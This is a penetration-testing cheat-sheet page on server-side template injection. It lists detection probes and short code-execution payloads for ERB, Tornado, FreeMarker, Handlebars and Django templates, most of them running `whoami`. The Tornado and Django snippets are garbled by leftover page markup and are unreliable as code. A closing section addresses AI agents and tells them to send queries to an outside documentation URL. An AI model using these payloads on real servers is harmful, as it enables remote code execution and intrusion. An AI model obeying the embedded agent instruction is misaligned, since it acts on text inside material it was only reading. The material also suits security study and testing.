# Server-side template injection (SSTI)

* [PortSwigger - Web Security Academy - Server-side template injection](https://portswigger.net/web-security/server-side-template-injection)

Detect -> Identify -> Exploit

## Detect

Fuzzing the template by using special characters commonly used in template expressions.

```
${{<%[%'"}}%\
```

### Plaintext context

Injecting mathematical operations, such as `${7*7}`. If the output is `49`, it was evaluated server-side.

E.g.

```url
http://website.com/?param=${7*7}
```

### Code context

Try to append an html `<tag>`. Output will probably be blank.

E.g.

```url
http://website.com/?param=data.name<tag>
```

Next, try to break out of the statement.

E.g.

```url
http://website.com/?param=data.name}}<tag>
```

-> "Blank output": wrong template syntax, or not vulnerable.\
-> Rendered correctly including `<tag>`: vulnerable.

## Exploit

### ERB RCE (Ruby)

```ruby
<%= system("whoami") %>
```

### Tornado RCE (Python)

```python
<div data-gb-custom-block data-tag="import"></div>

{{os.system('whoami')}}
```

### FreeMarker RCE (Java)

```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("whoami")}
```

### Handlebars RCE (Node/JS)

```javascript
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return JSON.stringify(child_process.exec('whoami'));"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
```

See <http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html>.

### Django Templates (Python)

```python
<div data-gb-custom-block data-tag="debug"></div>
```

See also:

* <https://github.com/Lifars/davdts>
* <https://lifars.com/wp-content/uploads/2021/06/Django-Templates-Server-Side-Template-Injection-v1.0.pdf>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/exploitation/web/server-side-template-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
